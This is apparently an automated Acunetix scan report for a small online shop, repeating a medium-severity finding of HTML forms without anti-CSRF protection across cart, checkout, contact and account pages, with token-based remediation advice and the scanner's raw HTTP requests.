Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • product_qty [select] • product_size [select] • add_cart [submit] • add_wishlist [submit]

```
POST /Shirt-Jacket HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 38
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

add_cart=&product_qty=1&product_size=1
```

/Shirt-Jacket	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. - The anti-CSRF token should be unique for each user session - The session should automatically expire after a suitable amount of time - The anti-CSRF token should be a cryptographically random value of significant length - The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm - The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) - The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: - <empty> [text] - <empty> [button]

```
POST /Shirt-Jacket HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 38
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

add_cart=&product_qty=1&product_size=1
```

/Wind-jacket	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • product_qty [select] • product_size [select] • add_cart [submit] • add_wishlist [submit]

```
GET /Wind-jacket HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/Wind-jacket	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /Wind-jacket HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/about.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /about.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/ao-len	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • product_qty [select] • product_size [select] • add_cart [submit] • add_wishlist [submit]

```
GET /ao-len HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/ao-len	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /ao-len HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/cart.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: cart.php Form method: POST Form inputs: • code [text] • apply_coupon [submit] • update [submit]

```
GET /cart.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/cart.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /cart.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/cart.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: cart.php Form method: POST Form inputs: • quantity [text] • remove[] [checkbox] • quantity [text] • remove[] [checkbox] • quantity [text] • remove[] [checkbox] • quantity [text] • remove[] [checkbox] • quantity [text] • remove[] [checkbox] • quantity [text] • remove[] [checkbox] • code [text] • apply_coupon [submit] • update [submit]

```
GET /cart.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
Connection: Keep-alive
```

/checkout.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: checkout.php Form method: POST Form inputs: • c_email [text] • c_pass [password] • login [button]

```
GET /checkout.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/checkout.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /checkout.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/checkout.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
POST /checkout.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 62
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

c_email=sample%40email.tst&c_pass=g00dPa%24%24w0rD&login=Login
```

/contact.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: contact.php Form method: POST Form inputs: • name [text] • email [text] • subject [text] • message [textarea] • enquiry_type [select] • submit [submit]

```
GET /contact.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/contact.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /contact.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/change_pass.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • old_pass [text] • new_pass [text] • new_pass_again [text] • submit [submit]

```
GET /customer/change_pass.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_login.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
